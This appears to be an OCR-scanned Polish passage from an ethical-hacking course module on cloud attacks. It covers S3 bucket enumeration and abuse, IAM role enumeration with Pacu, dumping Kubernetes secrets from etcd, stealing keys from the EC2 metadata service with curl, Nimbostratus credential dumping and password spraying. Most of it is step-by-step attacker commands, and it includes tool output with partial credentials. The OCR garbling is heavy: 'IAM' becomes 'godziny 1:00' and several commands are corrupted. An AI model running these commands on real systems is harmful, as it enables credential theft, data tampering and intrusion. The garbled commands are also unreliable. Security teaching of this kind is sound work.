o Ukrywa wykonanie ztosliwego procesu w kontenerach za pomocg LD_PRELOAD.
o Pomija narzedzia do analizy statycznej przy uzyciu agenta IRC (ziggystartux).

o Pomija narzedzia do monitorowania DNS, zmieniajgc systemowe programy rozpoznawania nazw
DNS.

o Wykonuje operacje wykrywania poswiadczen i rozpoznania.



o Wykorzystuje dwa kanaty komunikacyjne C2, tmate i IRC, ktdre dziatajg prawie podobnie.
Niektére dodatkowe ztosliwe oprogramowanie w chmurze to:

Denonia

LemonDuck

RansomCloud

DBatLoader/ModiLoader

Goldbackdoor

Hakowanie w chmurze

Chociaz wiekszo$¢ organizacji stosuje technologie chmurowe do rdinych optacalnych ustug,
bezpieczenstwo pozostaje powainym problemem, poniewaz zalezy od udostepniania. Luki w
zabezpieczeniach i stabe punkty podstawowych technologii mogg pozwoli¢ atakujagcym na
przeprowadzanie réznego rodzaju atakdéw w chmurze, wptywajacych na poufnos¢, integralnosé oraz
dostepnos¢ zasobdw i ustug w systemach chmurowych. W tej sekcji omoéwiono rdzne techniki i
narzedzia wykorzystywane przez osoby atakujgce do hakowania srodowiska chmury.

Co to jest hakowanie w chmurze?

Obecnie wiele organizacji przenosi swoje procesy biznesowe i dane klientéw do chmury. Masowe
przenoszenie danych firmowych i osobistych do chmury zwiekszyto powierzchnie atakéw i zagrozen
zaréwno dla organizacji, jak i oséb prywatnych. Atakujgcy wykorzystujg luki istniejgce w technologiach
chmurowych do przeprowadzania réznych ukierunkowanych, gto$nych atakéw na systemy pamieci
masowej w chmurze, narazajac dane klientéw i firmy. Gtéwnym celem hakowania srodowiska
chmurowego jest uzyskanie dostepu do danych uzytkownika i zablokowanie dostepu do ustug
chmurowych. Ma to katastrofalny wptyw zaréwno na uzytkownikéw koncowych, jak i firmy
korporacyjne, podwazajac zaufanie do bezpieczeristwa ustug w chmurze. Dlatego organizacje muszg
zapewnié¢ bezpieczenstwo procesdw biznesowych i informacji o klientach przechowywanych w
chmurze.

W jaki sposdb osoba atakujgca moze zyska¢ na zhakowaniu chmury?

Wykorzystaj stabe praktyki w zakresie bezpieczenistwa, aby przeprowadzac eksfiltracje danych i
ujawnia¢ poufne informacje.

Uzyskaj nieautoryzowany dostep do aplikacji w chmurze.
Naduzywaj legalnego dostepu do kradziezy danych uwierzytelniajacych innych uzytkownikéw chmury.
Generuj nielegalng kryptowalute, wykorzystujgc moc obliczeniowa celu.

Uzywaj ukrytego ztosliwego oprogramowania do wydobywania kryptowalut, aby generowac
przychody.

Wykonuj ataki DoS, aby uniemozliwi¢ uprawnionym uzytkownikom dostep do ustug w chmurze.
Rekonfiguruj ustugi w chmurze, wykorzystujac luki w systemach tokendw synchronizacji.
Wykonuj ruch poprzeczny w sieciach centréw danych i manipuluj ruchem sieciowym.

Skanowanie konteneréw pod katem luk w zabezpieczeniach za pomoca Trivy



Obrazy kontenerow sktadajg sie z systemu operacyjnego, aplikacji, Srodowiska uruchomieniowego itp.
spakowanych razem. Kontenery te sg szeroko wykorzystywane ponownie i mogg zawieraé struktury
open source z problemami z lukami w zabezpieczeniach. Luki te zagrazajg bezpieczerstwu nie tylko
kazdego kontenera, ale catego silnika kontenera. Atakujgcy uzywajg narzedzi, takich jak Trivy
Vulnerability Scanner, Clair, Dadga i synk kontener, do skanowania i identyfikowania luk w
zabezpieczeniach w kontenerach.

Trivy

Trivy to zautomatyzowane narzedzie stuzgce do skanowania obrazéw konteneréw pod katem luk w
zabezpieczeniach. Nalezy poda¢ nazwe obrazu, aby rozpoczgé doktadng operacje skanowania. Trivy
pomaga w wykrywaniu luk w pakietach systemow operacyjnych, takich jak Alpine, RHEL i CentOS, oraz
w wykrywaniu zaleznosci aplikacji, takich jak Bundler, Composer, npm i yarn.

Skanowanie luk w zabezpieczeniach Kubernetes za pomocg Sysdig

Kubernetes to ztozone srodowisko, w ktérym czesto wystepujg btedne konfiguracje klastrow.
Atakujacy moga wykorzysta¢ te btedne konfiguracje i przeprowadzi¢ skanowanie luk w klastrach
Kubernetes za pomoca réznych narzedzi, takich jak Sysdig i Pipeline.

Sysdig

Sysdig identyfikuje luki w zabezpieczeniach Kubernetes poprzez integracje potokdow ciggtej integracji
(Cl) lub ciggtego dostarczania/wdrazania (CD), rejestru obrazéw i kontroleréw przyje¢ Kubernetes.
Sysdig sprawdza réwniez poprawnos¢ obrazéw konteneréw na poziomie orkiestracji przy uzyciu funkcji
kontrolera dostepu Kubernetes. Sysdig automatycznie generuje inwentaryzacje zawartosci kazdego
obrazu i stale sprawdza nowe luki w zabezpieczeniach lub typowe luki w zabezpieczeniach i zagrozenia
(CVE) zwigzane z kontenerami.

Dodatkowe narzedzia Kubernetes do skanowania luk w zabezpieczeniach obejmuja:
Pipeline (https://bonzoicloud.com)

kube-hunter ( https://github.com)

Kube-Scan ( https://github.com)

Kubesec ( https://kubesec.io )

KubiScan ( https://github.com)

Wyliczanie zasobnikéw S3

Prosta ustuga przechowywania (S3) to skalowalna ustuga przechowywania w chmurze uzywana przez
Amazon AWS, w ktérej pliki, foldery i obiekty sg przechowywane za posrednictwem internetowych
interfejséw API. Klienci i uzytkownicy koricowi korzystajg z ustug S3 do przechowywania dokumentéw
tekstowych, plikow PDF, filméw, obrazow itp. Aby przechowywac wszystkie te dane, uzytkownik musi
utworzy¢ zasobnik o unikalnej nazwie.

Atakujacy mogag wykorzystaé btedne konfiguracje w implementacji zasobnika i naruszy¢ mechanizm
bezpieczenstwa, aby naruszy¢ prywatnosé danych. Pozostawienie uruchomionej sesji zasobnika S3
umozliwia atakujgcym modyfikowanie plikdw (w kodzie JavaScript lub pokrewnych) i umieszczanie
ztodliwego oprogramowania w plikach zasobnika. Atakujgcy czesto prébujg znalezé lokalizacje i nazwe
zasobnika, aby przetestowac jego zabezpieczenia i zidentyfikowaé luki w implementacji zasobnika.



Ponizej wymieniono kilka technik stosowanych przez atakujgcych do identyfikowania zasobnikéw AWS
S3:

Sprawdzanie kodu HTML

Atakujacy probuja przeprowadzi¢ analize kodu zrédtowego HTML w celu zebrania informacji o
zasobnikach S3. Analizowanie kodu Zrédtowego stron internetowych HTML w tle umozliwia
atakujgcym znajdowanie adreséw URL w celu zaatakowania zasobnikéw S3.

Brutalny adres URL

Poniewaz kazdemu zasobnikowi S3 nadawany jest unikalny numer identyfikacyjny, osoby atakujgce
przeprowadzajg ataki typu brute-force na zasobnik docelowy w celu zidentyfikowania prawidtowego
adresu URL zasobnika. Zatézmy na przyktad adres URL http://s3.amazonaws.com/lbucket_name];
osoby atakujgce wyprébowujg wszystkie mozliwosci nazwy_wiaderka, aby zidentyfikowa¢ doktadny
adres URL kierujgcy do zasobnika. Atakujgcy uzywajg narzedzi takich jak Burp Suite (Burp Intruder) do
przeprowadzania atakéw sitowych na zasobniki S3.

Wyszukiwanie subdomen

Atakujacy uzywajg narzedzi, takich jak OWASP Amass i Robtex, do identyfikowania subdomen
powigzanych z docelowym segmentem.

Odwrdéé wyszukiwanie adresu IP

Atakujgcy uzywajg wyszukiwarek, takich jak Bing, do przeprowadzania odwrotnego wyszukiwania
adresow IP w celu identyfikacji domen docelowych segmentéw S3. Atakujacy uzywajg operatora
wyszukiwania zaawansowanego ip:<docelowy adres IP> w wyszukiwarce Bing, aby uzyskac réine
domeny zwigzane z docelowym segmentem, ktéry rozwigzuje dany adres IP.

Zaawansowane hakowanie Google

Atakujacy uzywajg zaawansowanych operatorow wyszukiwania Google, takich jak ,inuri”, do
wyszukiwania adreséw URL zwigzanych z docelowymi zasobnikami S3. Niektére z Google Dorks
uzywanych przez atakujgcych do identyfikowania adreséw URL docelowych zasobnikdw S3 obejmuija:

o Inuri: s3.amazonaws.com

o inuri: s3.amazonaws.com/audio/

o inuri: s3.amazonaws.com/video/

o Inuri: s3.amazonaws.com/backup/

o inuri: s3.amazonaws.com/movie/

o inuri: s3.amazonaws.com/image/

Identyfikowanie otwartych zasobnikéw S3 za pomocg S3Scanner

Atakujacy uzywajg S3Scanner do identyfikowania otwartych pakietéw S3 ustug w chmurze, takich jak
Amazon AWS, i pobierania ich zawartosci w ztosliwych celach. Kubetki S3 przechowujg informacje w
postaci plikéw, folderéw, obiektow itp., ktére obejmuja pliki tekstowe, obrazy, filmy i pliki PDF; w
niektérych scenariuszach przechowujg nawet pliki kopii zapasowych i poswiadczenia. S3Scanner
umozliwia atakujgcym pobieranie informacji o dostepie do obiektéw i list kontroli dostepu (ACL), w
tym uprawnien do odczytu i zapisu. Uruchom nastepujgce polecenie S3Scanner, aby przeskanowac



segmenty AWS wymienione w pliku z 8 watkami: s3scanner --threads 8 scan --buckets-file ./bucket-
names.txt Uruchom nastepujgce polecenie, aby zrzucié pojedynczy segment AWS:

s3scanner dump --bucket my-bucket-to-dump
Wyliczanie identyfikatoréw kont AWS

Konta AWS sg identyfikowane za pomocg unikalnych identyfikatoréw, ktére po ujawnieniu w domenie
publicznej mogg zosta¢ wykorzystane przez atakujgcych do atakowania ustug w chmurze. Te unikalne
identyfikatory majg by¢ prywatne, ale czesto sg udostepniane publicznie bez wiedzy uzytkownika.
Atakujacy moga wykorzysta¢ ten wyciek informacji i wykorzysta¢ go do niecnych celéw. Atakujgcy
wyliczajg identyfikatory kont AWS za posrednictwem nastepujgcych zrédet:

Komunikaty btedéw AWS

Repozytoria kodu, takie jak GitHub

Zrzuty ekranu

Publiczne migawki ustugi relacyjnej bazy danych (RDS) (RDS -> Migawki -> Wszystkie publiczne
Migawki)

Migawki magazynu elastycznych blokéw (EBS) (EC2 -> Migawki -> Migawki publiczne)

Publiczne obrazy maszyn Amazon (AMI) (EC2 -> AMI -> Obrazy publiczne)

Osoby publikujgce dowody osobiste w celu uzyskania pomocy online/rozwigzywania problemow

Po uzyskaniu identyfikatoréw kont osoby atakujgce moga wykonywaé rézne czynnosci, takie jak
wyliczanie zasobow (odkrywanie istniejgcych uzytkownikéw, rél itp.), przyjmowanie rél o godzinie 1:00
i wywotywanie funkcji Lambda.

Wyliczanie rél IAM

Atakujacy wyliczajg nazwy rél IAM, analizujgc komunikaty o btedach AWS, ktére ujawniajg informacje
dotyczace istnienia uzytkownika. Ogdlnie rzecz biorgc, w ustugach chmurowych AWS uzytkownicy
mogg wykonywaé¢ wiele préb przejecia roli. W przypadku kazdej nieudanej proby komunikaty
odpowiedzi AWS ujawniajg informacje o istnieniu roli. Jesli AWS zablokuje konto po kilku nieudanych
probach, wdrozenie techniki brutalnej sity moze by¢ trudne, ale nie niemozliwe. Wykonujac proces z
pofragmentowanym zestawem kont lub weztdw, osoby atakujgce mogg ostatecznie omingc
rozwigzania do filtrowania adresdw IP i kont. Informacje zebrane przez osoby atakujace poprzez
wyliczanie rél IAM obejmuja:

Wewnetrzne oprogramowanie/stosy

Nazwy uzytkownikow IAM (uzywane do inzynierii spotecznej)

Ustugi AWS w uzyciu

Uzywane oprogramowanie innych firm (np. CloudSploit, Datadog, Okta)

Po wyliczeniu rél osoby atakujgce mogg sprébowac przyjg¢ otwartg role i ukras¢ jej dane
uwierzytelniajgce. Na przykfad, jesli atakujgcy prdbuje przyja¢ niedozwolong role, AWS generuje
komunikat o btedzie, jak pokazano na rysunku.



Analizujgc komunikat o btedzie, osoby atakujgce mogg potwierdzi¢ istnienie roli, ale nie mogg jej
przyjac ze wzgledu na ograniczenia w polityce przyjmowania rél. Podczas wykonywania tego samego
polecenia, ktdrego celem jest nieistniejgca rola, AWS wyswietli nastepujgcy komunikat o btedzie:

Korzystajgc z dowolnego waznego identyfikatora konta i dobrze przefiltrowanej listy stéw, atakujacy
moga wyliczy¢ istniejgca godzine 1:00 role.

Wyliczanie uprawnien zasobnika za pomocg S3Inspector

Atakujacy uzywajg S3Inspector do wyliczenia uprawnien zasobnika AWS S3. Korzystajac z tego
narzedzia, osoby atakujgce moga sprawdzié, czy zasobnik jest publiczny, czy niepubliczny. W przypadku
zasobnika publicznego osoby atakujgce mogg uzyska¢ uprawnienia do zasobnika i liste adreséw URL,
aby uzyskaé do niego dostep. Zasobniki niepubliczne odpowiadajg raportami o odmowie dostepu.

Wyliczanie Kubernetes itp

Kubernetes to rozproszona platforma obliczeniowa; dlatego wymaga rozproszonej bazy danych, takiej
jak etcd. Etcd to rozproszony i spdjny magazyn klucz-wartos¢, w ktérym przechowywane sg dane
klastra Kubernetes, szczegdty wykrywania ustug, obiekty APl itp. Serwer APl komunikuje sie z etcd w
celu pobierania i przechowywania informacji na podstawie zadan z innych komponentéw Kubernetes.
Uzyskanie dostepu do etcd jest rdwnoznaczne z uzyskaniem dostepu do systemu na poziomie
administratora. W Kubernetes tylko serwer APl ma dostep do magazynu etcd. Atakujgcy wyliczajg
procesy etcd, pliki konfiguracyjne, otwarte porty (identyfikujac numer portu 2379) itp., aby
zidentyfikowac¢ punkty koncowe podtgczone do Srodowiska Kubernetes.

Na przyktad osoby atakujgce mogg uzy¢ nastepujgcego polecenia do wyliczenia lokalizacji serwera etcd
i informacji PKI:

# ps -ef | grep apisserver

Atakujacy wyliczajg réwniez ustugi metadanych $wiadczone przez ustuge w chmurze, aby
zidentyfikowaé lokalizacje serwera etcd i pobraé krytyczne informacje, takie jak certyfikaty i pliki kluczy.
Po zebraniu informacji o serwerze etcd i PKI osoby atakujgce mogg dalej przegladaé rejestry w celu
pobrania danych klastra. Na przyktad osoby atakujgce mogg uruchomi¢ nastepujace polecenie, aby
wyliczy¢ sekrety przechowywane w klastrze Kubernetes:

# ETCDCTL_API=3 ./etcdctl --cacert=/etc/kubernetes/pki/etcd/ca.crt --
cert=/etc/kubernetes/pki/apiserver-etcd-client.crt --
key=/etc/kubernetes/pki/apiserver-etcd-client.key --
endpoints=https://127.0.0.1:2379 get /registry/ --prefix | grep -a
,/regiistry/secrets/”

Ponadto osoby atakujgce mogg uzy¢ nastepujgcego polecenia, aby pobrac klucz i przekonwertowac go
na format YAML:

# ETCDCTL_API=3 ./etcdctl --cacert=/etc/kubernetes/pki/etcd/ca.crt --

cert=/etc/kubernetes/pki/apiserver-etcd-client.crt --



key=/etc/kubernetes/pki/apiserver-eted-client.key --
endpoints=https://127.0.0.1:2379 get /registry/secrets/kubesystem/
weave-net-token-nmb26 |./auger decode -o yaml|

Dekodujac klucze, osoby atakujgce mogg identyfikowaé punkty konicowe z pliku konfiguracyjnego
kube. Atakujacy moga dalej wykorzystywaé informacje wyliczone z eted do przeprowadzania atakéw
eskalacji uprawnien i uzyskiwania dostepu do informacji o wezle.

Wyliczanie kont ustugi Azure Active Directory (AD).

Dostep do platform chmurowych, takich jak Office 365, mozna uzyska¢ bezposrednio z Internetu. W
zwigzku z tym osoby atakujace atakujg te srodowiska, aby zainicjowac rézne ataki na Azure Active
Directory (AD) i Office 365. Techniki uzywane do wyliczania kont ustugi Azure AD omdwiono ponize;j.

Wyliczanie kont

Uzytkownicy Azure AD majacy dostep do ustug Office 365 moga wylicza¢ wszystkie konta
uzytkownikéw oraz grupy administratorow. Ta mozliwo$¢ dostepu do ustugi Office 365 moze
motywowac atakujgcych do wykorzystania i wykorzystania Azure AD do wyliczenia kont. Osoby
atakujgce moga wykonywac wyliczenia ustugi Azure AD przy uzyciu narzedzi, takich jak Azucar.

Azucar

Narzedzie Azucar umozliwia uzytkownikom ocene ogdlnego bezpieczenstwa Srodowiska platformy
Azure. To jest wielowagtkowe narzedzie bezpieczeristwa oparte na wtyczkach, ktére moze by¢ uzywane
w systemie Windows. Ponadto, skrypt uzywany w narzedziu nie ma wptywu na zasoby
zaimplementowane na platformie subskrypcji Azure.

Rozpylanie hasta

Osoby atakujace uzywajg rozpylania haset w celu automatycznego odgadywania haset na kontach
ustugi Azure AD. Ta metoda nie prowadzi do zablokowania konta, poniewaz préby logowania s3
wykonywane na wszystkich kontach uzytkownikéw jednoczesnie przy uzyciu jednego hasta. Jesli
zarowno konto lokalne, jak i konto w chmurze uzywajg tego samego hasta bez MFA, istnieje duze
prawdopodobienstwo, ze osoby atakujgce uzyskajg dostep do sieci docelowej poprzez rozpylanie
haset. Atakujgcy mogg przeprowadzac rozpylanie haset za pomocg zaawansowanych narzedzi, takich
jak Ruler.

Ruler

Narzedzie Ruler umozliwia atakujgcym zdalng komunikacje z serwerami wymiany przy uzyciu
dowolnego protokotu, takiego jak zdalne wywotywanie procedur (RPC)/HTTP lub Messaging
Application Programming Interface (MAPI)/HTTP. Narzedzie utatwia korzystanie z funkcji programu
Outlook po stronie klienta i zdalne uzyskiwanie dostepu do powtoki.

Zbieranie kluczy do chmury poprzez atak IMDS

W srodowisku AWS klucze dostepu do chmury to poswiadczenia bezpieczenstwa uzywane przez
uzytkownika IAM lub uzytkownika root konta AWS w celu uzyskania dostepu do ustug AWS.
Identyfikator klucza dostepu i tajny klucz dostepu sg integralnymi czesciami kluczy w chmurze, ktérych
mozna uzy¢ do uwierzytelnienia zgdan. Atakujgcy przeprowadzajg ataki IMDS w celu uzyskania tych
kluczy w chmurze w celu uzyskania dostepu do zasobow w chmurze. Atakujgcy moze uzyskac dostep
do REST API dziatajgcego pod okreslonym adresem IP (tutaj 169.254.169.254) za posrednictwem IMDS



(IMDSvI) i uzyskaé informacje o instancjach EC2 i ich poswiadczeniach bezpieczenstwa. Atakujgcy moga
uzy¢ adresu IPv6 (fd00:ec2::254) dla instancji Nitro EC2.

Uruchom nastepujgce polecenie curl, aby uzyska¢ dostep do instancji i zidentyfikowaé rdine
powigzane role:

curl http://169.254.169.254/latest/meta-data/iam/securitycredentials/

Teraz dodaj nazwe roli jako sufiks, aby uzyska¢ klucze chmury:

curl http://169.254.169.254/latest/meta-data/iam /securitycredentials/<IAM-Role-Name>

Osoba atakujgca moze pobraé metadane instancji za posrednictwem IIMDSv2 na nastepujgce sposoby.
Uruchom nastepujgce polecenie, aby wygenerowac token, okreslajac czas trwania sesji:

TOKEN='curl -X PUT "http://169.254.169.254/latest/api/token" —H "X-aws-ec2-metadata-token-ttl-
seconds: 21600"

Nastepnie uzyj wygenerowanego tokena we wszystkich zgdaniach AWS:
curl -H "X-aws-ec2-metadata-token: STOKEN" —v http://169.254.169.254/latest/meta-data/
Wykorzystanie infrastruktury Amazon Cloud za pomoca Nimbostratus

Nimbostratus to narzedzie stuzgce do pobierania odciskow palcéw i wykorzystywania infrastruktury
chmury Amazon.

Pozwala to atakujgcym:
Woylicz dostep do ustug AWS dla biezgcej roli 1AM.
Uzyj zle skonfigurowanej roli 1AM, aby utworzy¢ nowego uzytkownika AWS.

Wyodrebnij aktualne poswiadczenia AWS 2z metadanych, plikbw .boto.cfg, zmiennych
Srodowiskowych, itp.

Klonuj bazy danych, aby uzyska¢ dostep do informacji przechowywanych w migawce itp.

Atakujgcy uzywaja nastepujgcych poleced Nimbostratus do odciskow palcéw i wykorzystywania
infrastruktury chmury Amazon:

Zrzué poswiadczenia: Wyodrebnia poswiadczenia dostepne na tym hoscie i drukuje je na konsoli.
S nimbostratus dump-credentials

Zrzu¢ uprawnienia: zrzuca wszystkie uprawnienia dla podanych poswiadczen.

S nimbostratus dump-permissions —access-key=... --secret-key=...

Zrzut metadanych instancji: Pobiera wazne metadane informacji o instancjach EC2.

Wyodrebnij metadane dla instancji, w ktorej uruchomiono polecenie.

S nimbostratus dump-ec2-metadane

Wyodrebnij metadane ze zdalnej instancji za pomocg exploita zdefiniowanego w
core.utils.mangle.mangle.

S nimbostratus -v dump-ec2-metadane --manglefunction= core.utils.mangle.mangle



Utworz migawke bazy danych: w niektdrych przypadkach osoby atakujgce majg poswiadczenia
Amazon, ktére umozliwiajg im dostep do interfejsu API RDS, ale nie mogg uzyska¢ dostepu do same;j
bazy danych (uzytkownika MySQL). Narzedzie create-DB-snapshot umozliwia atakujgcym dostep do
informacji przechowywanych w bazie danych poprzez utworzenie migawki i przywrécenie jej.

S nimbostratus snapshot-rds --access-key=... --secret-key=... password foolmeonce --rds-name
nimbostratus --region apsoutheast- 1

Utworz nowego uzytkownika: Utworz nowego uzytkownika o godzinie 1:00 przy uzyciu istniejgcych
poswiadczen.

S nimbostratus create-iam-user --access-key=... --secret-key=...

Srodki zaradcze:

Zawsze uzywaj godziny 1:00 zamiast umozliwia¢ bezposredni dostep do konta root.

Przypisz najmniejsze mozliwe uprawnienia do kazdego profilu instancji chmury i uzytkownikow.
Tworz grupy uzytkownikdéw i przydzielaj szczegétowe uprawnienia kazdej grupie.

Upewnij sie, ze uzywasz profili instancji w chmurze.

Okresowo kontroluj uprawnienia przypisane do kazdego uzytkownika lub grupy uzytkownikéw.
Wykorzystywanie btednie skonfigurowanych zasobnikéw AWS S3

Wykonaj czynnosci omowione ponizej, aby wykorzystac zle skonfigurowane zasobniki AWS S3.
Krok 1: Zidentyfikuj zasobniki S3

Atakujgcy uzywajg narzedzi, takich jak S3Scanner, lazys3, Bucket Finder i s3-bucketsbruteforcer, aby
znalez¢ docelowe zasobniki AWS S3. Korzystajgc z tych narzedzi, osoby atakujgce mogg gromadzi¢
adresy URL zidentyfikowanych zasobnikéw. Na przyktad adres URL zidentyfikowanego zasobnika S3 to:

http://[bucket_name].s3.amazonaws.com/

Krok 2: Skonfiguruj interfejs wiersza poleceft AWS

Zainstaluj aws-cli, aby sprawdzié¢ wersje AWS i utworzy¢ konto.

Krok 3: Wyodrebnij klucze dostepu

o Po utworzeniu konta zaloguj sie i przejdz do https://console.aws.amazon.com/iam/
o Wybierz Uzytkownicy -> Dodaj uzytkownika.

o Wypetnij niezbedne dane i kliknij przycisk ,Utworz uzytkownika”,

o Teraz pobierz plik CSV i rozpakuj klucze dostepu.

Krok 4: Skonfiguruj aws-cli

Przejdz do terminala i uruchom nastepujgce polecenie, aby skonfigurowac aws-cli:
aws configure

e Krok 5: Zidentyfikuj podatne zasobniki S3

Uruchom nastepujgcg komende, aby zidentyfikowac zasobniki S3, ktédre mozna wykorzystaé:



aws s3 Is s3://[bucket_name]

aws s3 Is s3://[bucket_name] --no-sign-request

Krok 6: Wykorzystaj zasobniki S3

Uruchom nastepujgce polecenia, aby manipulowac plikami przechowywanymi w zasobnikach S3:
Odczyt Pliku -> saws s3 to s3://[bucket_name] --no-sign-request

Przenoszenie Plikow -> aws s3 mv FileName s3://[bucket_name]/test-file.txt --no-sign-request
Kopiowanie Plikow -> aws s3 cp FileName s3://[bucket_name]/test-file.svg --no-sign-request
Usuwanie Plikdw ->saws s3 rm s3://[bucket_name]/test-file.svg --no-signrequest

Naruszenie poswiadczen AWS IAM

AWS IAM stuzy do zapewniania mozliwosci zarzagdzania tozsamoscia klientom AWS. AWS IAM pomaga
administratorom IT zarzgdzaé tozsamosciami uzytkownikdw AWS i ich zmieniajagcymi sie poziomami
dostepu do zasobow AWS. Atakujgcy mogg tatwo naruszyé dane uwierzytelniajgce uzytkownika AWS
IAM, wykrywajac rozne luki w zabezpieczeniach i luki w zabezpieczeniach w srodowisku chmurowym.
Aby skompromitowac¢ IAM AWS, atakujacy wykorzystujg narzedzia eksploatacyjne, takie jak Pacu.
Ponizej przedstawiono rézne luki w zabezpieczeniach wykorzystywane przez osoby atakujgce w celu
naruszenia poswiadczen AWS IAM.

Btedne konfiguracje repozytorium

Wiekszo$¢ organizacji przechowuje swoje klucze AWS we wspétdzielonym magazynie w sieci
potrzeby fatwo uzyska¢ dostep do kluczy. Jednak niezadowoleni wtajemniczeni mogg naduzywac
kluczy AWS. Klucze AWS moga rédwniez zosta¢ naruszone, jesli programisci nieSwiadomie udostepnia
swoje osobiste klucze AWS we wspédtdzielonym repozytorium. Na przyktad plik zmiennych
Srodowiskowych na GitHubie (patrz powyzszy rysunek), ktéry zostat nieswiadomie upubliczniony,
ujawnia klucze APl AWS przez Internet. Uzytkownicy mogg zobaczyé komunikat zatwierdzenia podczas
przesytania tego pliku jako ,zaktualizowany .gitignore”. AWS skanuje komunikaty zatwierdzenia
GitHub w poszukiwaniu kluczy APl AWS i powiadamia uzytkownika, gdy zostanie on opublikowany w
repozytoriach, umozliwiajgc uzytkownikowi odpowiednie dziatanie. Niemniej jednak osoby atakujgce
mogg zastosowac te samga technike w celu uzyskania dostepu do zasobéw w chmurze.

Inzynieria spoteczna

Atakujacy uzywaja technik inzynierii spotecznej, takich jak fatszywe e-maile, pofaczenia i SMS-y, aby
naktoni¢ uzytkownikéw do ujawnienia ich danych uwierzytelniajgcych AWS 1AM. Na przykfad, jesli
uzytkownik wprowadzi tylko klucze APl w celu uwierzytelnienia AWS, osoba atakujgca moze
zastosowac prostg technike phishingu, aby ukras¢ klucze APl i przejg¢ kontrole nad kontem
uzytkownika.

Ponowne uzycie hasta

Ponowne uzycie hasta to bardzo czesty btad, ktdry moze powodowa¢ powazne Iluki w
zabezpieczeniach. Wiekszos¢ uzytkownikéw uzywa tego samego hasta do wielu ustug. Jesli
atakujgcemu uda sie ztamac jedno hasto, moze uzyskac dostep do innych ustug w chmurze przy uzyciu
tych samych danych uwierzytelniajgcych. W niektdrych scenariuszach, jesli witryna internetowa



zostanie naruszona, osoba atakujgca moze uzyskac dostep do bazy danych zaplecza i odzyskac skroty
haset lub hasta w postaci zwyktego tekstu przechowywane w bazie danych.

Luki w zabezpieczeniach aplikacji hostowanych na platformie AWS
Fatszowanie zgdan po stronie serwera

Fatszowanie zgdan po stronie serwera to powszechna luka w zabezpieczeniach aplikacji internetowych
wykorzystywana przez atakujgcych do wysytania losowych zgdan sieciowych do ofiar z zaatakowanego
serwera sieciowego. Atakujacy atakujg wewnetrzny interfejs APl metadanych EC2, jesli w aplikacji
internetowej zostanie wykryta jakakolwiek luka, i wysytajg zgdania z instancji EC2. Za kazdym razem,
gdy aplikacja potrzebuje dostepu z interfejsu APl AWS, profil instancji o godzinie 1:00 jest dotgczany
do instancji EC2 w celu zazgdania tymczasowych poswiadczern AWS. Poniewaz caty ten proces odbywa
sie za posrednictwem interfejsu APl metadanych EC2, osoba atakujgca wysyta zgdania HTTP na adres
URL metadanych i moze tatwo uzyskaé dostep do tymczasowych poswiadczen uzywanych przez
aplikacje.

Odczyt pliku lokalnego

Zasadniczo klucze AWS sg przechowywane w réznych lokalizacjach, takich jak pliki konfiguracyjne i
dzienniki, w systemie operacyjnym. Na przyktfad, jesli uzytkownik korzysta z interfejsu wiersza polecen
AWS aws-cli, jego poswiadczenia sg przechowywane w katalogu domowym, a klucze s3
przechowywane w pliku zmiennych srodowiskowych. Jesli osoba atakujgca uzyskata juz dostep do
systemu operacyjnego, moze odczyta¢ dane uwierzytelniajgce i klucze przechowywane w systemie
operacyjnym, aby przeprowadzi¢ dalsze wykorzystanie.

Wykorzystywanie oprogramowania innych firm

Wiele ustug online wymaga dostepu do srodowiska AWS, aby ich oprogramowanie lub aplikacje mogty
dziata¢ poprawnie. Niektdre organizacje wdrazajg oprogramowanie lub aplikacje innych firm w celu
tatwego zarzadzania lub zabezpieczania swoich ustug w chmurze. Jesli atakujacy ztamie
oprogramowanie innych firm, moze uzyska¢ dostep do danych przechowywanych w srodowisku
chmurowym. Na przyktad organizacja moze korzysta¢ z menedzera haset innej firmy do zarzadzania
roznymi ustugami w chmurze. Jesli atakujgcy ztamie menedzera haset, moze tatwo uzyskac dostep
wysokiego poziomu do srodowiska chmurowego.

Zagrozenie wewnetrzne

Zagrozenia wewnetrzne wynikajg gtdwnie ze wspétpracownikéow biznesowych oraz obecnych lub
bytych pracownikéw, ktérzy maja juz zaufany dostep do srodowiska i nie muszg oddzielnie narazac
poswiadczen w celu wykonywania ztosliwych dziatan. Tego typu insiderzy stanowig powazne
zagrozenie dla organizacji i Srodowiska AWS. Na przyktad niezadowolony pracownik, ktéry chce
zaszkodzi¢ reputacji firmy, prébuje wykorzysta¢ ustugi w chmurze przy uzyciu swoich danych
uwierzytelniajgcych i dokonuje bezposrednich zmian w kodzie, co prowadzi do ujawnienia informacji
opinii publiczne;j.

Przejecie btednie skonfigurowanych rél IAM za pomoca Pacu

Zasady AWS IAM, takie jak uprawnienia AssumeRole, sg elastyczne, ale btedne konfiguracje uprawnien
roli mogg otworzy¢ drzwi do rdznych atakéw. Na przyktad, jesli istnieje rola ,AWS”: ,*”
skonfigurowana), kazdy uzytkownik z waznym kontem AWS moze przyjac te role i uzyska¢ odpowiednie
poswiadczenia. Atakujgcy uzywajg narzedzi, takich jak Pacu, platforma eksploatacyjna AWS typu open
source do wyliczania i przejmowania rél IAM. Narzedzie zawiera liste ponad 1100 stéw z czesto



uzywanymi nazwami rol. Skrypt automatycznie ostrzega atakujgcego, gdy rola zostanie
zidentyfikowana. Moze réwniez identyfikowaé btednie skonfigurowane role i automatycznie
przyjmowac zidentyfikowane role, a nastepnie ujawnia¢ dane uwierzytelniajgce roli. Atakujgcy moga
uruchomié ponizszy skrypt Pacu w celu przyjecia roli. Przed uruchomieniem skryptu osoby atakujace
muszg uzyskac identyfikator konta docelowego, aby przyjgé role.

assume_role_enum.py [-h] [-p PROFILE] [-w WORD_LIST] -l ACCOUNT_ID

PS C:\Users'\§ B\Desktop\AssumoRoleEnun> py .\assume_role_enum.py account-id 348 58 profile default

Warning is script does not check if the keys you supplied have the correct pernis . 5 they are allo
wed to u sumeRole on any resource (*)! You can still enumerate roles 3 i t th AssuneRole
permissio you cannot assume (or identify) a misconfigured role.

Targeting account ID: 34] 1]
starting role enumeration...
Found restricted role: arn:aws:iam::348 B58:role/5

Found restricted role: arn:aws:iam::348 MS58:role/ADS
** Found vulnerable role: arn:aws:iam::33000000 ole/APIGateway **
Hit max session time limit, reverting to minimum of 1 hour...

Successfully assumed role: arn:aws:iam: 340008 58:role/APIGateway

"ASTAUTOSLMANDEQMCZLS™,
“"dteGVIhL+ti+iwo/ GXIuMs /xt11BTufxEZFgR",
A0KB3iqs6GoTIgzglCCLAAVTSLEFCT ZPBL +HOTGBTAFZ xEWMQLRGGLWpYE 20hM
